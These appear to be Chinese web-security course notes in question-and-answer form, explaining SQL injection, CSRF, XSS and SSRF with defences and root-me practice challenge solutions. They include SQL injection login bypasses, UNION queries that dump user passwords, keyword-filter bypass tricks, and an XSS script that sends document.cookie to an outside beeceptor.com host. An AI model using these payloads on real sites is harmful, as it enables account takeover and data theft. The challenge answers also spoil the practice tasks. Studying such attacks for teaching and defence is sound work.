H1

websec2023-F1

H2

SQL注入

问题：

1. 为什么会产生注入?
2. 发起SQL注入攻击的条件?
3. 举一个SQL注入绕过身份认证的例子?
4. union 查询的用途?
5. 利用Union查询获取信息的流程?
6. Stacked Queries和Union Queries区别?
7. Union vs Union All
8. 盲注和非盲注的区别，为什么要盲注？如何盲注?
9. 什么是通配符攻击，可能造成什么后果?
10. 如何预防SQL注入?
11. 列举简单的过滤绕过技巧?

回答：

H3

1. 对于大部分导致代码执行的注入，**外部数据**被当成**代码**拼接并执行，导致了恶意代码非预期的执行。数据和代码应该是被分开的，通常代码由 web 应用的开发者提供，具体用户的数据由各用户提供，如果用户输入的数据成为代码，就可能产生注入攻击。
2. 基本的两个条件：
    1. 输入的参数是用户可以控制的
    2. 输入的参数被带到数据库中执行
3. 利用 `or true` 格式改变查询逻辑，绕过校验

```
where username = '{}' and password = '{}'
where username = 'root' or 1=1 -- ' and password = '{}'
// 输入为：root' or 1=1 --
// root：没有什么用处，可以去除
// '：闭合预先设置好的字符串，破坏原有查询结构
// or 1=1：输入代码，改变原有 SQL 逻辑，SQL where 条件变为永真
// --：注释掉原有的后续逻辑，避免引号不平衡导致的错误，或不相关逻辑。
where username = '{}' and password = '{}'
where username = 'root' and password = '' or 1=1 --'
```

4. 通常通过注入可以干扰查询条件，从而泄露表中大量结果，但是攻击者感兴趣的敏感信息，不一定存在于注入点查询的表中。通过union，可以开启一个由攻击者控制目标表的查询，方便获取到感兴趣的信息。
5. 过程如下
    1. 由于 union 查询需要连接的两个查询结果列数相同，因此需要确定列数。可以使用逐个尝试的方法，（依次连接 `select 1 --` 、`select 1, 2 --` 。。。）
    2. 我们的目标是窃取数据库中的信息，因此需要能够看到目标信息，需要将目标信息放在一个会回显的位置（一些原本用于放置图片或数字的地方可能无法回显字符串），如果已经确定查询结果有 3 列，只要看 `1, 2, 3` 这几个数字哪些在页面上显示了即可。
    3. 如果已经知道目标数据库-表-列这些信息，则可以直接查到结果并令其回显，否则，需要进一步收集信息；数据库一般会保存自身结构的一些信息，但是因数据库类型而异，此下面以 mysql 为例。
    4. 获取数据库信息，当前数据库可以方便使用 database 函数获取，如果目标不在当前数据库，也可以在 `information_schema.schemata` 查询所有数据库名。
    5. 获取表信息，`information_schema.table` 。。。
    6. 获取列信息，`information_schema.columns` 。。。
    7. 最后按照第三步的方式查询目标数据 `union select 1, xx, 3 from xxx`
6. 区别：
    1. 堆叠查询执行的是多个查询，union 查询是一个查询；
    2. union 查询需要查询的列数保持一致，而堆叠查询不需要；

3. union 查询会将结果拼接在一起，常用于泄露敏感信息，而堆叠查询由于使用注入造成多个查询的场景不是web应用预期的，其查询结果不容易被获取到；
4. 堆叠查询可以执行非 select 语句，可能被用于破坏性攻击。

7. union 会查重、会排序，union all 不查重、不排序。
8. 分别如下：
    1. 主要区别在于是否存在直接的回显，如果查询结果可以直接返回，就不需要盲注技术；如果查询结果只能返回布尔值或是根本没有返回值，就需要额外的盲注工作。
    2. 盲注的目的在于在不存在直接回显的情况下获取到敏感信息。
    3. 常见的盲注有布尔盲注和时间盲注，其中布尔盲注相当于将查询结果信息编码为二进制，并通过布尔值恢复原始信息；而时间盲注除了需要做布尔盲注同样的工作外，还需要根据二进制内容在目标服务器上创建不同的时延，客户端利用响应时间读出其中的布尔信息。
9. 使用了模糊匹配，却没有限制用户输入包含通配内容，导致用户输入通配符后出现大量结果，造成信息泄露。
10. 预防手段：
    1. 使查询参数化，如预处理语句和存储过程；
    2. 黑名单、白名单、输入转义处理等。
11. 常用绕过技巧：
    1. 大小写绕过关键字检查，如 `UnIoN`；
    2. 双写绕过，如 `uniunionon` -> `uni[union]on` -> `union`；
    3. 关键字拆分，如 `select/*a*/name/*b*/from/*c*/user`，甚至 `sel/*ect*/ect`。

练习：

> hint: 注意不同数据库类型，可以参考 https://xz.aliyun.com/t/8627#toc-2

1. https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-authentication?lang=en

H3

> 有时候只需要登录成功，有时候还需要满足其它条件

```
where username = '{}' and passwd = '{}'
where username = 'admin'or 1=1 --' and passwd = '{}'
where username = 'admin'and 1=1 --' and passwd = '{}'
where username = 'admin' --' and passwd = '{}'
where username = 'admin' and passwd = ''or 1=1 order by
username--
```

2. https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-String

```
' union select 1,2
' union select sql,2 from sqlite_master--
' union select password, 2 from users where username='admin'--
```

3. https://www.root-me.org/en/Challenges/Web-Server/SQL-injection-Numeric

```
union select 1,2,3
union select 1,sql,3 from sqlite_master
union select 1,username,password from users
```

H2

CSRF

问题：

1. 介绍CSRF
2. CSRF的原理?

H3

3. 举一些CSRF造成攻击的例子?
4. 完成攻击需要的条件?
5. CSRF攻击的请求传递过程?
6. 防范方式?
7. 如果设置了HTTP Only, 能不能防范 CSRF?
8. CSRF和XSS的区别?

回答：

1. 攻击者通过搭建恶意网站使得受害者机器向目标网站发起请求，请求的后果对攻击者有利；
2. 访问目标网站时，浏览器会自动带上cookie，而目标网站认为带有 cookie 的请求必然是合法用户的意愿；
3. CSRF 可以以受害者的名义进行点赞等操作，甚至发送邮件、更改密码等；
4. 需要的条件有：
    1. 受害者用户在目标网站已经登录；
    2. 受害者访问了攻击者搭建的网站。
5. 过程如下：
    1. 受害者在目标网站处于登录状态；
    2. 受害者访问了攻击者提供的链接（主动）；
    3. 攻击者的网站中的逻辑会让受害者向目标站点发送请求（被动），这个请求会带上受害者在目标网站的 cookie，目标网站会根据请求内容执行操作，但是执行这些操作不是受害者的本意；
6. 方式有：
    1. csrf token：服务端发送给客户端的页面中包含 csrf token，请求时需要携带此 token 到请求头或参数中，服务端检查 token 的合法性；
    2. 验证码：不是一个常见的方式，但是如果一个请求需要验证码，则必然要用户交互，这种场景下 CSRF 很难攻击成功；
    3. referrer：原理和 csrf token 类似，但是存在被预测的可能。
7. 不能，HTTP Only 属性通常用于 XSS 影响缓解，避免恶意 js 窃取 cookie；但是 CSRF 的攻击过程没有窃取 cookie，而是“借”取 cookie，cookie 是在请求时由浏览器带上，HTTP Only 并不阻止这种场景。
8. 见表：

H3

XSS	CSRF
受害者访问了**善意网站**链接，**受害者机器**执行了恶意代码，可能发送请求到**攻击者服务器**。	受害者访问了**攻击者的链接**，**受害者机器**发送请求到**善意网站**。
通常，XSS 受害者的信息被攻击者窃取，也可能受害者被利用执行攻击者想要的操作。	通常，CSRF 不会造成信息被窃取，但是请求本身是执行攻击者想要的操作，这可能对受害者有害。
利用了受害者对善意网站的信任，认为其不会存在恶意代码。	利用了网站对用户的信任，认为持有正确cookie的请求都是用户的意愿。
为什么信任被破坏：公开网站可能存在漏洞，被攻击者植入恶意代码。	由于浏览器特性，发出带有cookie的请求，未必是用户本意。

H2

XSS

问题：

1. XSS介绍?
2. XSS是否是注入型攻击?
3. XSS的攻击对象?
4. XSS的分类，不同类型的XSS特点?
5. 如何验证一个页面是否存在XSS?
6. XSS的常见攻击形式?
7. 如果使用 XSS 窃取信息，攻击者是如何收到信息的？（攻击过程中信息的流向）
8. 什么是AJAX，为什么在XSS的利用中用到AJAX?
9. 攻击者利用 XSS 窃取cookie的过程？（攻击者的操作）
10. XSS防范方式?
11. 如何利用CSRF发起一次XSS，有什么好处?

H3

回答：

1. XSS 利用了善意网站的漏洞，使得受害者的机器执行了攻击者编写的 js 代码。
2. XSS 属于注入型攻击，并属于一种特殊的 HTML 注入。注意，不是所有的 HTML 注入都是 XSS，一些无法注入恶意脚本的场景，HTML 注入也可能被用于钓鱼攻击。
3. XSS 的攻击对象是其它用户，可以是普通用户，也可以是管理员用户。但是 XSS 通常不会对服务器造成直接危害。

4. 分为 反射型，存储型和DOM型三种，其中：
    1. 反射型：恶意代码不会长期存储在服务器上，而是从请求参数中获取，攻击者需要将包含恶意代码的链接发送给受害者，并诱导受害者点击。比较常见的是发送邮件携带 XSS 链接。

```
http://testxss.com/?p=a
-> hello, a
http://testxss.com/?p=<script>alert(1)/</script>
-> hello, <script>alert(1)</script> -- 期望显示的内容
-> hrllo,                          -- 实际显示的内容，同时触发弹窗 1
```

    2. 存储型：恶意代码会长期存储到服务器，导致服务器上有一个或多个页面存在恶意代码。大量用户都有可能访问到这个内容，相比反射型，攻击范围更大，并且隐蔽性更强。
    3. DOM型：特点在于用户从服务器得到的响应中，一开始并不包含恶意代码，但是随着页面的动态变化，恶意代码会产生，这有助于绕过部分服务器端对 XSS 的保护措施。
    4. 如果页面会展示自己的输入，只需要输入 `<script>alert(1)</script>`，观察是否出现弹窗即可；如果目标页面无法获取（如低权限用户使用XSS攻击管理员），可以通过向自己的服务器发送请求来确认代码是否执行。
    5. 窃取 cookie 本地存储等；利用其它用户的身份，访问需要特定权限的页面等；利用管理员身份完成权限提升等。。。
    6. 以反射型为例：

```
假设 A 为善意网站，  B 为攻击者服务器
攻击者 -带有恶意代码参数的链接-> 受害者
受害者点击链接
受害者 -带有恶意代码参数的请求-> A
A 拼接出带有恶意代码的页面
受害者 <-带有恶意代码的页面- A
恶意代码在受害者机器执行
受害者 -带有受害者的私人信息(如 cookie)-> B
攻击者在 B 的日志中获取到受害者的信息
```

7. 异步 JavaScript 和 XML，如果希望将获取到的信息传送到自己的服务器，使用 AJAX 相比直接跳转的方式更加难以察觉，增加了攻击的隐蔽性；如果攻击过程需要发送多个请求，并且一些请求依赖其它请求的响应，使用 AJAX 发起攻击更加方便。
8. 过程如下：

2. 先找到 XSS 注入点，可以使用问题 5 的方式确认注入点；
3. 修改 script 内容，直到可以读取到想要窃取的信息；
4. 搭建服务，进一步修改 script 内容，将读取到的信息发送到自己的服务上；
5. 将页面发送给受害者，在服务器等待日志中出现的信息。

5. 防范方式如下：
   1. cookie 设置 HTTPOnly 属性，设置后 javascript 将无法读取 cookie，有效防止通过 XSS 窃取 cookie，但是 XSS 还是可能造成其它影响；
   2. 做输入检查，检查用户的输入是否包含特殊字符，如果包含，则对其进行转义、过滤或是拒绝。
   3. 做输出检查，检查最终返回给用户的页面是否包含恶意 js 代码。
6. 详见：

好处是可以把 `Self-XSS` 利用起来，比如某些网站提供的个人备忘录功能存在XSS，但是别人不能查看备忘录，所以理论上这个xss只能打自己，没有什么用。这个时候如果恰好存在csrf则可以进行结合攻击。

1. 利用csrf使受害者修改自己的备忘录，这时恶意代码就在受害者的备忘录页面躺着了； `csrf`
2. 当受害者访问自己的备忘录时，触发xss，攻击者收到受害者的个人信息，如token。 `xss`

> 假设包含备忘录功能的网站为 A，受害者为 a，恶意网站为 C，攻击者为 c

```
C --> a 发送 C 网站地址，诱导访问
a --> C 请求 C 网站内容
C --> a C 网站响应中包含恶意内容(预填写的不可见表单、恶意js等)
a --> A a 浏览器执行来自 C 网站的恶意代码(csrf)，发送请求修改自己的备忘录，使其包含恶意代码(xss)，这个请求的发送不是 a 的本意
a --> A 过一段时间 a 访问自己的备忘录
A --> a A 网站响应中包含因为 XSS 漏洞而被插入的恶意代码
a --> C 如果上面返回的恶意代码为窃取 cookie 代码，则恶意 js 已经窃取了 a 用户的 cookie 并发送到 C 服务器
攻击者可以在 C 的服务器日志获取 a 的 cookie

C -> a 的恶意代码做了什么事情?
1. 利用 CSRF 向 A 发写备忘录请求，请求内容会向 a 的备忘录写恶意代码
2. 等到 a 请求自己的备忘录，会得到恶意代码，代码内容是向 C 发请求，带有 a 的信息。
```

练习

1. https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected
    - 寻找隐藏的页面
    - 尖括号被过滤了
    - 利用html标签事件
2. https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1

H3

```
<script> alert(document.cookie) </script>

https://zzop1.free.beeceptor.com
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://zzop1.free.beeceptor.com/?
p="+document.cookie, true);
xmlhttp.send();
</script>
```

H2

SSRF

问题：

1. 介绍SSRF/SSRF的原理?
2. SSRF可以干什么?

H3

3. 应对措施?
4. SSRF vs CSRF

回答：

1. 服务器端请求伪造，通常是一个服务器具有从其它服务器获取资源的功能，目标地址可以由用户控制，类似 CSRF。

H3

2. 可以利用 SSRF 绕过一些基于 IP 白名单的认证、获取内部网络的敏感资源、对内部网络进行服务扫描以及针对内部网络发起大量资源请求，造成拒绝服务等。
3. 可以限制对内部请求的端口，并且在目标服务加强认证，不能因为ip白名单就不做认证。另外推荐针对获取内部资源时的请求，搭建资源服务器，使用接口获取资源，便于做权限管理和控制。
4. 下表：

SSRF	CSRF
攻击者发送请求到 web 服务器，使得 web 服务器向其它服务发起请求	攻击者将响应发送到受害者浏览器，受害者发送请求到善意网站
利用了内部服务网站对 web 服务器的信任，认为来自内部网络的请求不会是恶意的	利用了网站对用户的信任，认为持有正确cookie的请求都是用户的意愿。
利用了内部服务认证机制的不完善，借用 web 服务器的 ip (身份) 达成攻击	利用善意网站的漏洞，借用受害者 cookie (身份) 达成攻击
受害者是 web 应用提供方	受害者是其他用户